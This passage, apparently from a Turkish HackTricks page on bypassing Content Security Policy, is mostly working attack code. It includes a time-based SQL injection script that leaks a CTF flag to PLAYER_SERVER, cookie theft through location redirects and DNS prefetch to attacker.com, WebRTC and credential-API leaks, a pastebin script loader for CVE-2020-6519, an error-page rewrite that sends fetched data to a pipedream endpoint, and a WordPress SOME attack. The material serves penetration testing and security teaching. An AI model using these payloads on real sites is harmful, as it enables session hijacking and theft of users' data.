return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>
```
### Yer İmleri Aracılığıyla

Bu saldırı, saldırganın **kullanıcıyı tarayıcının yer imi üzerine bir bağlantıyı sürükleyip bırakmaya ikna etmesi** anlamına gelir. Bu yer imi, **kötü niyetli javascript** kodu içerecek ve sürüklenip bırakıldığında veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak, **CSP'yi atlayarak çerezler veya tokenlar gibi hassas bilgileri çalmaya** olanak tanıyacaktır.

Daha fazla bilgi için [**orijinal raporu buradan kontrol edin**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).

### CSP'yi Kısıtlayarak CSP'yi Atlamak

[**bu CTF yazımında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlanmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **dom clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır.

Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
[**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48)'nda, **HTML injection** aracılığıyla **CSP**'yi daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\
CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, **nonce**'larını sağlamak için **giriş**'i **kaldırarak** devre dışı bırakılabilir ve belirli inline script'ler **sha** aracılığıyla etkinleştirilebilir:
```html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
### JS exfiltrasyonu ile Content-Security-Policy-Report-Only

Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu kendi sunucunuza yönlendirebilir ve eğer **exfiltrate** etmek istediğiniz **JS içeriğini** **`<script>`** ile sararsanız ve CSP tarafından `unsafe-inline`'in muhtemelen izin verilmediği için, bu bir **CSP hatası** tetikleyecek ve scriptin bir kısmı (hassas bilgileri içeren) `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir.

Bir örnek için [**bu CTF yazımına göz atın**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).

### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### CSP ve Iframe ile Bilgi Sızdırma

- CSP tarafından izin verilen bir URL'ye (bunu `https://example.redirect.com` olarak adlandıralım) işaret eden bir `iframe` oluşturulur.
- Bu URL daha sonra CSP tarafından **izin verilmeyen** bir gizli URL'ye (örneğin, `https://usersecret.example2.com`) yönlendirir.
- `securitypolicyviolation` olayını dinleyerek, `blockedURI` özelliğini yakalayabilirsiniz. Bu özellik, engellenen URI'nin alan adını açığa çıkararak, ilk URL'nin yönlendirdiği gizli alan adını sızdırır.

Chrome ve Firefox gibi tarayıcıların CSP ile ilgili iframeleri ele alma konusunda farklı davranışlar sergilediğini belirtmek ilginçtir; bu da tanımsız davranış nedeniyle hassas bilgilerin sızdırılmasına yol açabilir.

Başka bir teknik, gizli alt alan adını çıkarmak için CSP'yi istismar etmeyi içerir. Bu yöntem, belirli alan adlarını kasıtlı olarak engelleyerek CSP'yi ayarlamaya ve ikili arama algoritmasına dayanır. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini bu alt alan adlarını engellemek veya izin vermek için değiştirerek farklı alt alan adlarını yinelemeli olarak test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl ayarlanabileceğini gösteren bir kesit:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSP tarafından hangi isteklerin engellendiğini veya izin verildiğini izleyerek, gizli alt alan adındaki olası karakterleri daraltabilir ve nihayetinde tam URL'yi ortaya çıkarabilirsiniz.

Her iki yöntem de CSP uygulamasının ve tarayıcılardaki davranışının inceliklerini kullanarak, görünüşte güvenli politikaların nasıl istemeden hassas bilgileri sızdırabileceğini göstermektedir.

[**buradan**](https://ctftime.org/writeup/29310) bir ipucu.

## CSP'yi Aşmak için Güvensiz Teknolojiler

### Çok fazla parametre olduğunda PHP Hataları

Bu [**videoda yorumlanan son teknik**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) göre, çok fazla parametre göndermek (1001 GET parametresi, ancak POST parametreleriyle ve 20'den fazla dosyayla da yapılabilir). PHP web kodunda tanımlı olan **`header()`** **gönderilmeyecek** çünkü bu bir hata tetikleyecektir.

### PHP yanıt tamponu aşırı yüklenmesi

PHP, varsayılan olarak **yanıtı 4096** bayt olarak **tamponlamasıyla** bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, **uyarıların içine yeterli veri sağlayarak**, **yanıt** **CSP başlığından önce** **gönderilecektir**, bu da başlığın göz ardı edilmesine neden olur.\
Bu durumda, teknik esasen **CSP başlığının gönderilmemesi için yanıt tamponunu uyarılarla doldurmaktan** ibarettir.

[**bu yazıdan**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) bir fikir.

### Hata Sayfasını Yeniden Yazma

[**bu yazıdan**](https://blog.ssrf.kr/69) anlaşıldığına göre, bir hata sayfasını (potansiyel olarak CSP olmadan) yükleyerek ve içeriğini yeniden yazarak bir CSP korumasını aşmak mümkün görünmektedir.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
```
### SOME + 'self' + wordpress

SOME, bir sayfanın **bir uç noktasında** XSS (veya çok sınırlı XSS) **istismar eden** bir tekniktir, **aynı kökene ait diğer uç noktaları istismar etmek için.** Bu, saldırgan sayfasından savunmasız uç noktanın yüklenmesi ve ardından istismar etmek istediğiniz aynı kökende gerçek uç noktaya saldırgan sayfasının yenilenmesiyle yapılır. Bu şekilde, **savunmasız uç nokta**, **payload** içindeki **`opener`** nesnesini kullanarak **istismar etmek için gerçek uç noktanın DOM'una** **erişebilir.** Daha fazla bilgi için kontrol edin:

{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}

Ayrıca, **wordpress**'te `/wp-json/wp/v2/users/1?_jsonp=data` adresinde **JSONP** uç noktası bulunmaktadır ve bu uç nokta, çıktıda gönderilen **veriyi** **yansıtacaktır** (yalnızca harf, rakam ve noktalarla sınırlıdır).

Bir saldırgan, bu uç noktayı **WordPress'e karşı bir SOME saldırısı oluşturmak için** istismar edebilir ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **gömerek** kullanabilir; bu **script** **'self' tarafından izin verildiği için** **yüklenmiş** olacaktır. Ayrıca, WordPress yüklü olduğu için, bir saldırgan, bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek için **CSP'yi atlayan** **savunmasız** **callback** uç noktası aracılığıyla **SOME saldırısını** istismar edebilir...\
Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) adresini kontrol edin.

## CSP Exfiltration Bypasses

Eğer dış sunucularla **etkileşimde bulunmanıza** izin vermeyen katı bir CSP varsa, bilgileri dışarı aktarmak için her zaman yapabileceğiniz bazı şeyler vardır.

### Location

Sadece konumu güncelleyerek saldırganın sunucusuna gizli bilgileri gönderebilirsiniz:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta etiketi

Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, bu içerik sızdırmaz)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch

Sayfaları daha hızlı yüklemek için, tarayıcılar ana bilgisayar adlarını IP adreslerine önceden çözümleyecek ve bunları daha sonra kullanmak üzere önbelleğe alacaktır.\
Bir tarayıcıya bir ana bilgisayar adını önceden çözümlemesi için şunu belirtebilirsiniz: `<link rel="dns-prefetch" href="something.com">`

Bu davranışı **DNS istekleri aracılığıyla hassas bilgileri sızdırmak için** kötüye kullanabilirsiniz:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
```
Başka bir yol:
```javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
Bu durumun gerçekleşmesini önlemek için sunucu şu HTTP başlığını gönderebilir:
```
X-DNS-Prefetch-Control: off
```
> [!NOTE]
> Görünüşe göre, bu teknik başsız tarayıcılarda (botlar) çalışmıyor.

### WebRTC

Birçok sayfada **WebRTC'nin CSP'nin `connect-src` politikasını kontrol etmediğini** okuyabilirsiniz.

Aslında, bir _DNS isteği_ kullanarak bilgiler _sızdırabilirsiniz_. Bu koda göz atın:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
```
Başka bir seçenek:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer

Kimlik bilgisi açılır penceresi, sayfa tarafından kısıtlanmadan iconURL'ye bir DNS isteği gönderir. Sadece güvenli bir bağlamda (HTTPS) veya localhost'ta çalışır.
```javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
```
## CSP Politikalarını Çevrimiçi Kontrol Etme

- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)

## CSP'yi Otomatik Olarak Oluşturma

[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)

## Referanslar

- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
- [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
- [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
- [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)

​

{{#include ../../banners/hacktricks-training.md}}